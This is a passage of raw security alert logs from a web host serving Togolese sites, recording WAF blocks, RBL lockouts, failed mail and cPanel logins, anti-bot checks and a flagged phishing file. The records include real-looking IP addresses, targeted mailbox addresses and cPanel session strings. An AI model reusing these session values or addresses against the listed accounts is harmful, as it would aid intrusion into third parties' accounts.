IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/6d625d HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 15.220.4.185
country_id: 6252001
description:
[2026-06-20 22:55:33 +0000] info [cpaneld] 15.220.4.185 NEW tgkkwsvr:zWWQqRMUMdtM5JLs address=15.220.4.185,app=cpaneld,creator=tgkkwsvr,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 204.217.131.230
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:22-56.204.217.131.230||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 22:56:51 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:9779: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.72.136
country_id: 3469034
description:
Jun 20 22:57:59 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.72.136 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.32.104.170
country_id: 3703430
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/1703059519 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:22:59:46 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13342054&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781996384 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:22:59:45 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9540969&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781996383 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:23:00:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7064170&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781996437 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.75
country_id: 6252001
description:
[2026-06-20 23:00:32 +0000] info [cpaneld] 181.215.65.75 - nwvfmxat "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:00:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527431&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781996433 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:23:00:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328163&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781996434 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.80.246
country_id: 1269750
description:
Jun 20 23:03:56 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.80.246 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.249.133
country_id: 3469034
description:
Jun 20 23:04:19 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.249.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.8.249.133
country_id: 3469034
description:
Jun 20 23:04:33 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.8.249.133 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 67.180.57.76
country_id: 6252001
domain: atms.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/139.0.7258.5 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:09:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:09:24 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 23:11:35 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:12289: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 43.173.182.102
country_id: 1880251
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:sante-le-ministre-tessi-veut-un-systeme-sanitaire-plus-humain/||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 2.51.148.217
country_id: 290557
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/847479712 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 107.174.150.172
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:23-15.107.174.150.172||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:15:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6856349&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781997312 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:23:16:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9750889&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781997366 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:23:16:11 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197147&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781997367 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:16:12 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13068435&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781997368 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 14.192.215.111
country_id: 1733045
description:
14.192.215.111 - - [20/Jun/2026:23:21:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7379655&pdata=https%253A%252F%252F24heureinfo.tg%252Fpolitique%252Ftogo-une-question-dexistence-legale-divise-le-ministre-boukpessi-et-la-dmk&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781997677 HTTP/2.0" 302 0 24heureinfo.tg "https://24heureinfo.tg/politique/togo-une-question-dexistence-legale-divise-le-ministre-boukpessi-et-la-dmk" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:14.192.215.111


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 77.137.65.67
country_id: 294640
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/131113861 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.42.142.240
country_id: 3469034
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/73905a HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.123
country_id: 1269750
description:
Jun 20 23:21:42 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.123 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.169.135.192
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/11/Diplomatie-En-fin-de-mission-lambassadeur-de-lInde-exprime-sa-gratitude-au-chef-de-lEtat.jpg 800w, http:/togodailynews.tg/wp-content/uploads/2024/11/Diplomatie-En-fin-de-mission-lambassadeur-de-lInde-exprime-sa-gratitude-au-chef-de-lEtat-300x240.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/11/Diplomatie-En-fin-de-mission-lambassadeur-de-lInde-exprime-sa-gratitude-au-chef-de-lEtat-768x614.jpg 768w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.157
country_id: 6252001
description:
[2026-06-20 23:24:07 +0000] info [cpaneld] 64.44.59.157 NEW cinemafreenetmas:6mut3COgu0cJVP3O address=64.44.59.157,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.83
country_id: 2635167
domain: cinema.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/cinemafreenetmas/public_html/.597615091475102.php||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:26:16 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:26:17 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 181.191.220.137
country_id: 3865483
description:
Jun 20 23:27:28 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 181.191.220.137 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.206.37.102
country_id: 2542007
description:
2026-06-20 23:28:33 dovecot_plain authenticator failed for H=adsl196-102-37-206-196.adsl196-2.iam.net.ma (s5u950wr0z27n5hki) [196.206.37.102]:43993: 535 Incorrect authentication data (set_id=welldrive@confortis.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:30:08 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7105683&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998205 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:23:30:10 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7050600&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998206 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
158.173.66.40 - - [20/Jun/2026:23:30:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10328726&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998208 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:158.173.66.40


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:30:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6669679&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998239 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.1.212.250
country_id: 2077456
description:
103.1.212.250 - - [20/Jun/2026:23:30:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6997100&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998240 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.1.212.250


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.34
country_id: 3077311
description:
Jun 20 23:33:24 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.34
country_id: 3077311
description:
Jun 20 23:33:31 ns5 auth[980608]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.34 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 23:35:38 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:12136: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:39:22 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 103.108.92.89
country_id: 2077456
description:
103.108.92.89 - - [20/Jun/2026:23:39:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13212823&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781498261 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.89


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 39.49.69.219
country_id: 1168579
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10.jpeg 2560w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10-300x139.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10-1024x473.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10-768x355.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10-1536x709.jpeg 1536w, http:/togodailynews.tg/wp-content/uploads/2024/09/WhatsApp-Image-2024-09-05-at-17.05.10-2048x946.jpeg 2048w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.17.128.169
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/10/67b87ab893d8db126f6fbdafd2de8fb7_L.jpg 500w, http:/togodailynews.tg/wp-content/uploads/2023/10/67b87ab893d8db126f6fbdafd2de8fb7_L-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2023/10/67b87ab893d8db126f6fbdafd2de8fb7_L-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.164.199
country_id: 2363686
description:
2026-06-20 23:42:11 dovecot_plain authenticator failed for H=([192.168.1.72]) [102.64.164.199]:9848: 535 Incorrect authentication data (set_id=sename.avegnon@arse.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:23:42:34 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6723730&pdata=http%253A%252F%252Fsproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781998954 HTTP/1.1" 302 0 sproca.tg "http://sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.70.53.60
country_id: 6252001
description:
54.70.53.60 - - [20/Jun/2026:23:43:44 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051671&pdata=http%253A%252F%252Fwww.sproca.tg.154-70-82-246.cpanel.site&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999023 HTTP/1.1" 302 0 www.sproca.tg.154-70-82-246.cpanel.site "http://www.sproca.tg.154-70-82-246.cpanel.site/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.70.53.60


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 82.79.248.101
country_id: 798549
description:
2026-06-20 23:43:31 dovecot_login authenticator failed for H=(ip-67-21-79-198.sharktech.net) [82.79.248.101]:34754: 535 Incorrect authentication data (set_id=master@pin.cafe.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:23:43:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6603418&pdata=http%253A%252F%252Fwww.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999025 HTTP/1.1" 302 0 www.sproca.tg "http://www.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 52.34.76.65
country_id: 6252001
description:
52.34.76.65 - - [20/Jun/2026:23:43:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6790293&pdata=http%253A%252F%252Fwebmail.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999031 HTTP/1.1" 302 0 webmail.sproca.tg "http://webmail.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:52.34.76.65


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [20/Jun/2026:23:44:22 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051108&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999059 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 54.71.187.124
country_id: 6252001
description:
54.71.187.124 - - [20/Jun/2026:23:45:15 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6853530&pdata=http%253A%252F%252Fmail.sproca.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781999114 HTTP/1.1" 302 0 mail.sproca.tg "http://mail.sproca.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:54.71.187.124


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 158.173.66.40
country_id: 2077456
description:
